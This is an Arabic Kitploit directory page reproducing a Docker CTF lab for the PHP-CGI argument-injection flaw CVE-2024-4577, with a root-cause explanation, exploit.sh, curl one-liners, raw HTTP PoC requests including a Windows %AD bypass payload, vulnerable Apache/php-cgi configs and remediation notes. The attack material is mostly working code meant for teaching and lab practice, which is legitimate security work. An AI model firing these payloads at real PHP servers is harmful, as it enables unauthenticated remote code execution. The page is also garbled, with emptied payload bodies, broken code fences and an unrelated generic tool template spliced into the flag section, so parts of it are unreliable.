Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2024-4577-lab — # مختبر CTF قائم على Docker يوضح ثغرة CVE-2024-4577 في حقن وسائط PHP-CGI المؤدية إلى تنفيذ الأوامر عن بُعد (RCE). يتضمن إصدار PHP 5.4.1 CGI الضعيف، ونصوص استغلال، واسترجاع العلم. | Kitploit
أدوات/GitHubGitHub/khwajasaad267-coder/cve-2024-4577-lab
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubkhwajasaad267-coder/cve-2024-4577-lab

cve-2024-4577-lab

# مختبر CTF قائم على Docker يوضح ثغرة CVE-2024-4577 في حقن وسائط PHP-CGI المؤدية إلى تنفيذ الأوامر عن بُعد (RCE). يتضمن إصدار PHP 5.4.1 CGI الضعيف، ونصوص استغلال، واسترجاع العلم.

عرض المستودع
منذ يوم واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-4577 — حقن وسائط PHP-CGI ← تنفيذ الأوامر عن بُعد (مختبر Docker / CTF)

مختبر Docker من الصفر ومتكامل بذاته يوضح الآلية الحقيقية لحقن الوسائط ← تنفيذ الأوامر عن بُعد الكامنة وراء CVE-2024-4577. استغله عبر http://localhost:8080، افتح شل، واقرأ العلم من داخل الحاوية.

هذه ثغرة حقيقية، وليست محاكاة. تقوم الحاوية بترجمة ثنائي PHP 5.4.1 CGI غير مُصَحَّح وتربطه خلف Apache بنفس الطريقة التي تُهيَّأ بها الأنظمة الحقيقية المعرضة للخطر. لا يوجد أي فحص وهمي مثل "if password == flag" في أي مكان — الطريقة الوحيدة للحصول على العلم هي تحقيق تنفيذ الأوامر فعليًا.


⚠️ اقرأ هذا أولاً — Linux مقابل Windows (مهم وصريح)

الحمولة المميزة لـ CVE-2024-4577 تستخدم %AD (واصلة ناعمة). هذه الحيلة تعمل فقط على Windows، لأن "ترميز الأحرف الأفضل ملاءمة" في Windows يحوّل البايت 0xAD إلى - حقيقية (0x2D) أن يكون تصحيح CVE-2012-1823 في PHP قد فحص سلسلة الاستعلام بالفعل. هذا التحويل الترميزي يتم بواسطة — ولا يحدث

بعد
Windows نفسه
داخل حاوية Docker Linux عادية.

لذا، فإن مختبر Linux القابل للتشغيل على جهازك يعيد إنتاج نفس آلية RCE تمامًا — حقن خيارات php-cgi عبر الرابط ← -d auto_prepend_file=php://input ← تنفيذ الأوامر — باستخدام صيغة - الحرفية (وهي الثغرة الأم لـ CVE-2024-4577، وهي CVE-2012-1823). الاختلاف الوحيد عن هدف CVE-2024-4577 الحقيقي على Windows هو طبقة تجاوز الترميز %AD←-، والتي توثقها هذه الوثيقة بالكامل (انظر كيف تعمل الاستغلال وpoc.http).

هذا المختبر على LinuxCVE-2024-4577 الحقيقي (Windows)
المكوّن المعرض للخطرphp-cgiphp-cgi
آلية RCE-d auto_prepend_file=php://inputمطابق
الفاصل في الرابط- حرفية%AD (أفضل ملاءمة ← -)
يتجاوز تصحيح 2012؟غير قابل للتطبيق (PHP أقدم من التصحيح)نعم، عبر أفضل ملاءمة في Windows
يعمل على Win 11 Home + Docker Desktop✅❌ (يتطلب حاويات Windows)

إذا كنت تحتاج تحديدًا إلى إعادة إنتاج %AD الحرفية على Windows، فستحتاج إلى مضيف Docker يدعم حاويات Windows (Windows Server / Win Pro + Hyper-V) — لن يعمل على Windows 11 Home. حمولة Windows مضمّنة في poc.http كمرجع.


1. وصف CVE

CVE-2024-4577 — حقن وسائط PHP CGI يؤدي إلى تنفيذ الأوامر عن بُعد. اكتُشفت بواسطة DEVCORE (Orange Tsai / Angelboy)، وأُفصح عنها في 2024-06-06.

عند نشر PHP في وضع CGI (أو كان ثنائي php-cgi.exe قابلًا للوصول بطريقة أخرى) على Windows مع بعض الإعدادات المحلية للنظام (الصينية التقليدية/المبسطة، اليابانية، وغيرها)، يمرر خادم الويب سلسلة استعلام HTTP إلى php-cgi كوسائط سطر أوامر. يمكن للمهاجم تهريب خيارات سطر أوامر php-cgi (-d ...) إلى تلك السلسلة. تحويل الأفضل ملاءمة لصفحة الرموز في Windows يحوّل البايت 0xAD (%AD) إلى واصلة ASCII -، مما يتجاوز تحصين CVE-2012-1823 ويسمح للمهاجم بتعيين توجيهات INI عشوائية في PHP — الأكثر فائدةً هو auto_prepend_file=php://input مع allow_url_include=1، مما ينفّذ نص الطلب المقدم من المهاجم كـ PHP. النتيجة: تنفيذ أوامر عن بُعد بدون مصادقة. تم تسليحها في البرية خلال أيام (مثل برمجية الفدية TellYouThePass).

2. السبب الجذري

  1. CGI يمرر سلسلة الاستعلام كـ argv. وفقًا لـ RFC 3875، إذا كانت سلسلة استعلام طلب CGI لا تحتوي على = غير مشفّر، يقسمها الخادم على +، ويفك ترميز كل كلمة، ويمرر الكلمات إلى برنامج CGI كوسائط سطر أوامر. لذلك يتلقى php-cgi argv يتحكم فيه المهاجم.

  2. php-cgi يحلل تلك argv كخيارات. تاريخيًا، كان php-cgi يفسر -d key=value، -T، إلخ من تلك argv. إدخال -d allow_url_include=1 -d auto_prepend_file=php://input يجعل PHP ينفّذ نص الطلب ككود ← CVE-2012-1823.

  3. إصلاح CVE-2012-1823 غير مكتمل على Windows. أضاف تصحيح 2012 حارسًا في sapi/cgi/cgi_main.c: تقريبًا "إذا بدأت سلسلة الاستعلام (الخام) بـ - ولا تحتوي على =، فتخطَّ تحليل الخيارات (skip_getopt)." المهاجم الذي يرسل - حرفية أصبح محظورًا الآن.

  4. ترميز أفضل ملاءمة يهزم الحارس (ثغرة 2024). على Windows، يحوّل PHP سطر الأوامر باستخدام صفحة رموز الإعداد المحلي مع تفعيل الأفضل ملاءمة. يرسل المهاجم %AD (البايت 0xAD، واصلة ناعمة). في لحظة فحص الحارس، البايت الأول هو 0xAD، وليس -، لذا لا يتم تعيين skip_getopt. لاحقًا، عندما يبني PHP فعليًا argv، يقوم Windows بتعيين 0xAD ← - عبر أفضل ملاءمة، لذا يرى getopt الآن -d. يحدث حقن الخيارات بعد الفحص الذي كان من المفترض أن يوقفه. هذا الترتيب (فحص ثم تحويل) هو الثغرة بأكملها.

في هذا المختبر على Linux، يتم إعادة إنتاج الخطوات 1–2 بالضبط مع php-cgi أقدم من تصحيح الخطوة 3، لذا تعمل صيغة - الحرفية وتوضح نفس RCE. الخطوة 4 هي طبقة خاصة بـ Windows فقط، موثقة لكن غير منفذة (لا يوجد تحويل أفضل ملاءمة في Linux).

3. الإصدارات المتأثرة (CVE-2024-4577 الحقيقية)

أُصلحت في 8.3.8، 8.2.20، 8.1.29. لذلك المعرضة للخطر:

  • PHP 8.3.0 – 8.3.7
  • PHP 8.2.0 – 8.2.19
  • PHP 8.1.0 – 8.1.28
  • PHP 8.0.x، 7.x، 5.x — منتهية الدعم، غير مُصححة، متأثرة أيضًا

الشروط: نظام تشغيل Windows؛ PHP يعمل كـ CGI أو php-cgi.exe مكشوف (إعداد XAMPP الافتراضي على Windows معرض للخطر)؛ إعداد محلي متأثر لمسار أفضل ملاءمة. (الثغرة الأم CVE-2012-1823 — الآلية التي يشغّلها هذا المختبر — تؤثر على أي نظام تشغيل يشغّل php-cgi قبل إصلاح 2012 في هذا التكوين.)

4. هيكل المشروع```

cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file

root@kitploit:~
## 5. المتطلبات الأساسية

- **Docker Desktop** (ويندوز/ماك) أو Docker Engine (لينكس).
  ويندوز 11 Home: قم بتثبيت Docker Desktop مع خلفية **WSL 2** (الافتراضية).
  → https://www.docker.com/products/docker-desktop/
- `curl` للاستغلال (`curl.exe` مدمج في ويندوز 10/11؛ متوفر أيضًا في
  Git Bash / WSL / ماك / لينكس).
- اتصال بالإنترنت **أثناء البناء** (يقوم بتنزيل كود مصدر PHP 5.4.1).

## 6. تعليمات البناء

افتح طرفية في مجلد `cve-2024-4577-lab/`.

### الخيار أ — docker compose (موصى به)```bash
docker compose up --build -d

الخيار ب — docker عادي

أمر docker build:```bash docker build -t cve-2024-4577-lab .

root@kitploit:~
**أمر تشغيل docker:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

يستغرق البناء تجميع PHP من المصدر (حوالي 2–5 دقائق في المرة الأولى). إذا فشل على جهازك (وضع عدم الاتصال، عدم وجود سلسلة أدوات، حظر museum.php.net)، فاستخدم صورة الأساس الاحتياطية:

root@kitploit:~
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab

7. كيفية التحقق من الخدمة```bash

curl -s http://localhost:8080/ | head -n 20

root@kitploit:~
يجب أن ترى HTML الخاص بـ **بوابة الحالة الداخلية لـ ACME**، والأهم من ذلك:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>

SAPI: cgi-fcgi (أي يتم تقديمه عبر php-cgi) يؤكد أن المكوّن القابل للاستغلال موجود في مسار الطلب. تحقق أيضًا من السجلات:```bash docker logs cve-2024-4577-lab

root@kitploit:~
## 8. خطوات الاستغلال

سلسلة الاستعلام المحقونة (مشفّرة بنظام URL بحيث لا يرى Apache أي **`=` حرفي** وبالتالي
يتعامل معها كوسائط CGI argv):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

التي يحللها php-cgi على النحو التالي:``` -d allow_url_include=1 -d auto_prepend_file=php://input

root@kitploit:~
المحتوى **request body** يصبح مصدر PHP (يُقرأ عبر `php://input`) ويُشغَّل
*قبل* `index.php`.

### 8أ. الأسهل — تشغيل السكربت```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

8ب. دليل الاستخدام — سطر curl واحد (Linux / macOS / Git Bash / WSL / Windows curl.exe)```bash

curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

root@kitploit:~
> على **Windows PowerShell**، استخدم `curl.exe` بشكل صريح (أمر `curl` في PowerShell
> هو اسم مستعار لـ `Invoke-WebRequest` ويُفسد سلسلة الاستعلام):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
>   --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
>   "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```

### 8ج. يدوي — HTTP خام (Burp Repeater)

انظر [`poc.http`](#poc-http). الصق الطلب رقم 1 في Burp Repeater وأرسله.

## 9. المخرجات المتوقعة```
[*] Target    : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command   : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.

سطر uid=33(www-data) يُثبت تنفيذ أوامر نظام تشغيل تعسفي كمستخدم خادم الويب — هذا تنفيذ كود حقيقي، وليس سلسلة نصية مطبوعة.

10. كيفية استرجاع العَلَم

يقع العَلَم في /flag.txt داخل الحاوية — خارج جذر الويب (/var/www/html)، لذا لا يمكن الوصول إليه عبر HTTP. الطريقة الوحيدة لقراءته هي تشغيل أمر عبر ثغرة RCE:```bash bash exploit.sh http://localhost:8080 "cat /flag.txt"

root@kitploit:~
العلم:

```bash
# استنساخ مستودع الأداة
git clone https://github.com/example/tool.git

# الانتقال إلى مجلد الأداة
cd tool

# تثبيت المتطلبات
pip install -r requirements.txt

ملاحظة: تأكد من تثبيت Python 3.8 أو أحدث قبل المتابعة.

الاستخدام

لتشغيل الأداة، استخدم الأمر التالي:

root@kitploit:~
python tool.py --target example.com

الخيارات المتاحة

الخيارالوصف
--targetتحديد الهدف (مطلوب)
--verboseعرض مخرجات تفصيلية
--outputحفظ النتائج في ملف

الترخيص

هذه الأداة مرخصة بموجب MIT License.``` FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

root@kitploit:~
*(في CTF حقيقي لن يُخبرك أحد بالمسار — ستدير `ls -la /` عبر
RCE للعثور عليه. جرّب `bash exploit.sh http://localhost:8080 "ls -la /"`.)*

## 11. أوامر التنظيف```bash
# compose
docker compose down

# plain docker
docker stop cve-2024-4577-lab
docker rm   cve-2024-4577-lab        # only if you did NOT use --rm

# remove the image entirely
docker rmi cve-2024-4577-lab

# nuke build cache too (optional)
docker builder prune -f

🔬 كيف يعمل الاستغلال، خطوة بخطوة

  1. العميل ← Apache. ترسل POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input مع حمولة PHP في جسم الطلب.

  2. توجيه Apache. AddHandler application/x-httpd-php .php + Action application/x-httpd-php /cgi-bin/php-cgi يوجّهان الطلب إلى ثنائي php-cgi (mod_actions + mod_cgi).

  3. سلسلة الاستعلام ← argv (قاعدة CGI). يرى mod_cgi في Apache أن سلسلة الاستعلام لا تحتوي على = غير مشفّر (أرسلنا %3d وليس =)، لذا وفقًا لـ RFC 3875 يقسّمها على +، ويفكّ ترميز كل كلمة، ويمرّرها إلى php-cgi كـ argv: -d, allow_url_include=1, -d, auto_prepend_file=php://input.

  4. php-cgi يحلّل الخيارات المحقونة. هذا php-cgi (الإصدار 5.4.1، قبل إصلاح 2012) لا يحتوي على حارس skip_getopt، لذا يعالج خيارات -d بنجاح:

    • allow_url_include=1 — السماح بتضمين PHP من موفّرات التدفق.
    • auto_prepend_file=php://input — قبل تشغيل السكربت المطلوب، تضمين وتنفيذ جسم الطلب كـ PHP.
  5. يُنفَّذ الجسم ككود. php://input هو جسم طلب POST الخاص بك، <?php system('id; cat /flag.txt'); die(); ?>. يعمل كمستخدم Apache (www-data)، وينفّذ أمر نظام التشغيل، ويطبع مخرجاته، وينهي بـ die() قبل أن يعمل index.php أصلًا.

  6. استخراج العلم. يقرأ system('cat /flag.txt') ملف /flag.txt (القابل للقراءة بواسطة www-data) ويعيده في استجابة HTTP.

لماذا توجد الثغرة (الـ"لماذا" الأعمق)

  • CGI يخلط بين الوسائط ومدخلات المستخدم. اتفاقية CGI من التسعينيات لتحويل سلسلة الاستعلام إلى argv صُمّمت لسكربتات بحث <ISINDEX>. توجيهها إلى مترجم مثل php-cgi، الذي تُعدّ وسائط argv الخاصة به مفاتيح إعداد قوية، خطأ تصنيفي: تصبح البيانات التي يتحكم بها المستخدم إعدادًا للبرنامج.

  • -d هي حقن INI عن بُعد. php-cgi -d name=value يتجاوز أي توجيه INI في وقت التشغيل، متجاوزًا حتى php.ini المحصّن. auto_prepend_file

    • allow_url_include + موفّر php://input تتكوّن معًا إلى "تنفيذ جسم الطلب"، أي RCE.
  • CVE-2024-4577 تحديدًا موجودة لأن إصلاح CVE-2012-1823 يفحص سلسلة الاستعلام بحثًا عن - بادئة قبل أن يقوم Windows بتحويل الترميز best-fit. يرسل المهاجم %AD (شرطة ناعمة)؛ وهي ليست - عند إجراء الفحص، فيمرّ الحارس، لكن Windows لاحقًا يخطّط best-fit 0xAD → 0x2D (-)، معيدًا إدخال - بعد البوابة. ترتيب الفحص ثم التحويل

    • ترميز يعتمد على اللغة المحلية وفاقد للبيانات = تجاوز للتصحيح.

🛡️ لماذا يقاوم هذا التحدي "مجرد تخمين العلم" / اختصارات الذكاء الاصطناعي

  • العلم ليس في جذر الويب ولا يُشار إليه بواسطة index.php، لذا لا يكشفه أي قدر من الزحف أو الفازينغ أو قراءة كود التطبيق.
  • لا توجد باب خلفي منطقي (لا if (input === flag))، لذا لا يمكن للحالّ عكس مقارنة — يظهر العلم فقط في مخرجات stdout لعملية بعد تنفيذ أمر نظام تشغيل حقيقي.
  • استرجاعه يتطلب تنفيذ استغلال حقن الوسائط الفعلي: ترميز = بشكل صحيح كـ %3d، وإبقاء - كمحدد خيارات، وتسليم الحمولة عبر php://input. أخطئ في أي خطوة وستحصل على صفحة ACME الحميدة، وليس العلم.
  • الرمز هو سلسلة عشوائية عالية الإنتروبيا، وليس كلمة قابلة للتخمين.

المعالجة في العالم الحقيقي

  • حدّث PHP إلى ≥ 8.3.8 / 8.2.20 / 8.1.29.
  • لا تشغّل PHP كـ CGI. استخدم PHP-FPM / mod_php.
  • على Windows/XAMPP، أزل تعيينات ScriptAlias/المعالجات التي تكشف php-cgi.exe؛ احظر الطلبات التي تبدأ سلسلة الاستعلام فيها بشرطة ناعمة مشفّرة؛ ارفض %AD في سلسلة الاستعلام عند جدار الحماية WAF.
  • الكشف: سجلات الويب التي تحتوي سلاسل استعلام على %AD أو auto_prepend_file أو allow_url_include أو php://input.

الملحق — كل ملف، بالكامل

كل ما يلي هو المصدر الكامل لكل ملف، بحيث تكون هذه الوثيقة الواحدة مكتفية ذاتيًا بالكامل.

`Dockerfile````dockerfile

=============================================================================

CVE-2024-4577 LAB — PHP-CGI argument injection -> Remote Code Execution

Linux reproduction of the argument-injection primitive that CVE-2024-4577

revives on Windows. (See README.md, section "Linux vs. Windows".)

Strategy: compile the unpatched PHP 5.4.1 CGI SAPI from source. 5.4.1

predates the CVE-2012-1823 fix, so php-cgi accepts command-line options

(-d ...) supplied through the HTTP query string. Apache hands the query

string to php-cgi as argv (CGI spec) -> attacker-controlled -d options ->

auto_prepend_file=php://input -> RCE. This is the exact primitive that

CVE-2024-4577 reaches on Windows by best-fit-decoding %AD into '-'.

=============================================================================

FROM debian:bullseye

ENV DEBIAN_FRONTEND=noninteractive ENV PHP_VERSION=5.4.1

---- 1. Build toolchain + Apache -------------------------------------------

RUN set -eux;
apt-get update;
apt-get install -y --no-install-recommends
ca-certificates wget bzip2 xz-utils
build-essential pkg-config autoconf
libxml2-dev
apache2;
rm -rf /var/lib/apt/lists/*

---- 2. Download + compile the vulnerable PHP 5.4.1 CGI binary --------------

CFLAGS -fcommon : gcc-10 (bullseye) defaults to -fno-common, which breaks

linking of old PHP's tentative-definition globals.

touch : keep the tarball's PRE-GENERATED parser/scanner files

newer than their .y/.l sources so make never invokes

bison/re2c (modern bison 3.x cannot rebuild PHP 5.4).

RUN set -eux;
cd /usr/src;
( wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.gz"
|| wget -q -O php.tar "https://museum.php.net/php5/php-${PHP_VERSION}.tar.bz2" );
tar -xf php.tar;
cd "php-${PHP_VERSION}";
for f in
Zend/zend_language_parser.c Zend/zend_language_parser.h
Zend/zend_language_scanner.c
Zend/zend_ini_parser.c Zend/zend_ini_parser.h
Zend/zend_ini_scanner.c
ext/date/lib/parse_date.c ext/date/lib/parse_iso_intervals.c
ext/standard/var_unserializer.c ext/standard/url_scanner_ex.c ; do
if [ -f "$f" ]; then touch "$f"; fi;
done;
CFLAGS="-O2 -fcommon" ./configure
--enable-cgi
--disable-all
--without-pear;
make -j"$(nproc)";
make install;
cp -v /usr/local/bin/php-cgi /usr/lib/cgi-bin/php-cgi;
chmod 0755 /usr/lib/cgi-bin/php-cgi;
/usr/local/bin/php-cgi -v;
cd /; rm -rf /usr/src/php*

---- 3. PHP + Apache configuration -----------------------------------------

COPY config/php.ini /usr/local/lib/php.ini COPY config/apache-vhost.conf /etc/apache2/sites-available/000-default.conf

RUN set -eux;
a2dismod mpm_event mpm_worker || true;
a2enmod mpm_prefork cgi actions alias;
printf 'ServerName localhost\n' > /etc/apache2/conf-available/servername.conf;
a2enconf servername

---- 4. Application + flag ---------------------------------------------------

COPY app/index.php /var/www/html/index.php COPY flag.txt /flag.txt RUN chmod 0644 /flag.txt /var/www/html/index.php

---- 5. Launch ---------------------------------------------------------------

COPY start.sh /start.sh

Strip any CR (in case the file was saved with Windows CRLF endings) and make

it executable, so the entrypoint runs regardless of how it was checked out.

RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh EXPOSE 80 CMD ["/start.sh"]

root@kitploit:~
## `Dockerfile.vulhub````dockerfile
# =============================================================================
#  FALLBACK Dockerfile — use ONLY if the from-source build in ./Dockerfile
#  fails on your machine (e.g. no build toolchain, offline, museum.php.net
#  unreachable).
#
#  It bases on Vulhub's pre-compiled PHP 5.4.1 CGI image, which already wires
#  Apache + php-cgi in the same vulnerable way, then drops in our app + flag.
#
#  To use it:
#     docker build -f Dockerfile.vulhub -t cve-2024-4577-lab .
#     docker run --rm -p 8080:80 cve-2024-4577-lab
#  or edit docker-compose.yml: dockerfile: Dockerfile.vulhub
#
#  NOTE: this pulls a third-party base image, so it is less "from scratch"
#  than ./Dockerfile. The exploit and README steps are identical.
# =============================================================================
FROM vulhub/php:5.4.1-cgi

COPY app/index.php /var/www/html/index.php
COPY flag.txt      /flag.txt
RUN chmod 0644 /flag.txt /var/www/html/index.php
EXPOSE 80

`docker-compose.yml````yaml

docker-compose.yml — CVE-2024-4577 lab

Run with: docker compose up --build

services: web: build: context: . dockerfile: Dockerfile # <- swap to Dockerfile.vulhub if the source build fails image: cve-2024-4577-lab:latest container_name: cve-2024-4577-lab ports: - "8080:80" # host 8080 -> container 80 restart: unless-stopped

root@kitploit:~
## `config/apache-vhost.conf````apache
<VirtualHost *:80>
    ServerName localhost
    DocumentRoot /var/www/html

    # ---------------------------------------------------------------------
    # Expose the (vulnerable) php-cgi binary as a CGI script.
    # ---------------------------------------------------------------------
    ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
    <Directory "/usr/lib/cgi-bin">
        AllowOverride None
        Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
        Require all granted
    </Directory>

    # ---------------------------------------------------------------------
    # Route every *.php request through php-cgi via mod_actions.
    #
    # THE BUG:  Per the CGI spec, when a query string contains no unencoded
    # '=' , Apache splits it on '+' and passes the words to the CGI program
    # as command-line arguments (argv). Because this php-cgi (5.4.1) predates
    # the CVE-2012-1823 fix, those argv are parsed as php-cgi OPTIONS, so an
    # attacker can inject  -d <ini>=<value>  straight from the URL.
    # ---------------------------------------------------------------------
    <Directory /var/www/html>
        Options +ExecCGI FollowSymLinks
        AddHandler application/x-httpd-php .php
        Action application/x-httpd-php /cgi-bin/php-cgi
        DirectoryIndex index.php
        Require all granted
    </Directory>

    ErrorLog  ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

`config/php.ini````ini

; --------------------------------------------------------------------------- ; Minimal php.ini for the CVE-2024-4577 / CVE-2012-1823 lab. ; Read by php-cgi from PHP_CONFIG_FILE_PATH (/usr/local/lib) at startup. ; ---------------------------------------------------------------------------

; php-cgi refuses to run under a web server unless force_redirect is satisfied. ; Turning it off keeps the CGI SAPI happy behind Apache's Action handler. cgi.force_redirect = 0 cgi.fix_pathinfo = 1

display_errors = On display_startup_errors = On log_errors = On

; Realistic defaults. Note allow_url_include is OFF here on purpose — the ; exploit RE-ENABLES it at runtime through the injected -d allow_url_include=1 ; option, which is the whole point of the argument-injection primitive. allow_url_fopen = On allow_url_include = Off

short_open_tag = On

root@kitploit:~
## `start.sh````bash
#!/bin/bash
# ---------------------------------------------------------------------------
#  Container entrypoint: start Apache (with the vulnerable php-cgi) in the
#  foreground so the container stays alive and logs stream to `docker logs`.
# ---------------------------------------------------------------------------
set -e

# Pull in APACHE_RUN_USER / APACHE_LOG_DIR / APACHE_PID_FILE etc.
# shellcheck disable=SC1091
source /etc/apache2/envvars

mkdir -p /var/run/apache2
rm -f "${APACHE_PID_FILE:-/var/run/apache2/apache2.pid}"

echo "==============================================================="
echo " CVE-2024-4577 LAB"
php-cgi -v 2>/dev/null | head -n1 | sed 's/^/ /'
echo " Web app : http://localhost:8080/"
echo " Exploit : ./exploit.sh http://localhost:8080"
echo "==============================================================="

exec apache2 -D FOREGROUND

`exploit.sh````bash

#!/usr/bin/env bash

===========================================================================

exploit.sh - CVE-2024-4577 / CVE-2012-1823 php-cgi argument-injection RCE

Usage: ./exploit.sh [target_url] [shell_command]

Examples:

./exploit.sh

./exploit.sh http://localhost:8080

./exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"

Requires bash + curl (curl.exe ships with Windows 10/11; also Git Bash,

WSL, macOS, Linux).

===========================================================================

set -euo pipefail

TARGET="${1:-http://localhost:8080}" CMD="${2:-id; echo '=== /flag.txt ==='; cat /flag.txt}"

Injected php-cgi command-line options, URL-encoded so Apache treats the

query string as CGI argv (it must contain NO literal '=' -> we send %3d):

-d allow_url_include=1 enable including php:// streams

-d auto_prepend_file=php://input run the request body as PHP first

QUERY='-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input'

PHP payload delivered in the request body and read back via php://input.

die() stops execution before index.php's HTML so the output stays clean.

BODY=""

echo "[] Target : ${TARGET}/index.php" echo "[] Injection : ?${QUERY}" echo "[] Command : ${CMD}" echo "[] Firing argument-injection request..." echo "-----------------------------------------------------------------"

curl -sS
-H 'Content-Type: text/plain'
--data-binary "${BODY}"
"${TARGET}/index.php?${QUERY}"

echo echo "-----------------------------------------------------------------" echo "[*] Success if you see FLAG{...} above."

root@kitploit:~
## `app/index.php````php
<?php
// ---------------------------------------------------------------------------
// index.php  —  an intentionally ORDINARY application page.
//
// IMPORTANT: the vulnerability is NOT in this file. This app has no bug of
// its own. The RCE comes entirely from the Apache + php-cgi configuration
// (CVE-2024-4577 / CVE-2012-1823 argument injection). This page only exists
// so the container serves something realistic through the vulnerable php-cgi.
// ---------------------------------------------------------------------------
$host = php_uname('n');
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>ACME Internal Status Portal</title>
    <style>
        body{font-family:system-ui,Arial,sans-serif;max-width:640px;margin:60px auto;color:#222}
        code{background:#f2f2f2;padding:2px 5px;border-radius:4px}
        .ok{color:#2a7f2a;font-weight:bold}
    </style>
</head>
<body>
    <h1>ACME Internal Status Portal</h1>
    <p>Service status: <span class="ok">ONLINE</span></p>
    <ul>
        <li>Host: <code><?php echo htmlspecialchars($host); ?></code></li>
        <li>PHP version: <code><?php echo phpversion(); ?></code></li>
        <li>SAPI: <code><?php echo php_sapi_name(); ?></code></li>
        <li>Server time: <code><?php echo date('Y-m-d H:i:s'); ?></code></li>
    </ul>
    <p>Everything looks fine here. Nothing to see. &#128522;</p>
</body>
</html>

`poc.http````http

###############################################################################

Raw HTTP PoC requests. Paste into Burp Repeater, or replay with any client.

(Content-Length is recalculated automatically by Burp/Repeater.)

###############################################################################

1) LINUX LAB PAYLOAD — works against this container.

PHP 5.4.1 is pre-CVE-2012-1823-fix, so a LITERAL '-' is accepted.

POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1 Host: localhost:8080 Content-Type: text/plain Content-Length: 44 Connection: close

2) REAL-WORLD CVE-2024-4577 PAYLOAD — WINDOWS TARGETS ONLY.

0xAD (soft hyphen, %AD) is best-fit-converted to '-' by Windows AFTER the

CVE-2012-1823 patch's check runs, so it BYPASSES the fix. This does NOT

trigger on the Linux container (Linux has no best-fit conversion).

POST /index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: victim-windows Content-Type: text/plain Content-Length: 30 Connection: close

root@kitploit:~
## `flag.txt````
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}

المراجع

  • استشارة DEVCORE — "CVE-2024-4577 · PHP CGI Argument Injection" (يونيو 2024).
  • إصلاحات أمان PHP للإصدارات 8.1.29 / 8.2.20 / 8.3.8 (sapi/cgi/cgi_main.c).
  • CVE-2012-1823 — ثغرة حقن الوسائط الأصلية التي يعيد هذا المختبر إنتاجها.
  • RFC 3875 — واجهة البوابة المشتركة (CGI) الإصدار 1.1، §4.4 (سطر الأوامر).

للاستخدام التعليمي الأمني / CTF المصرح به فقط.

تنزيل الأداة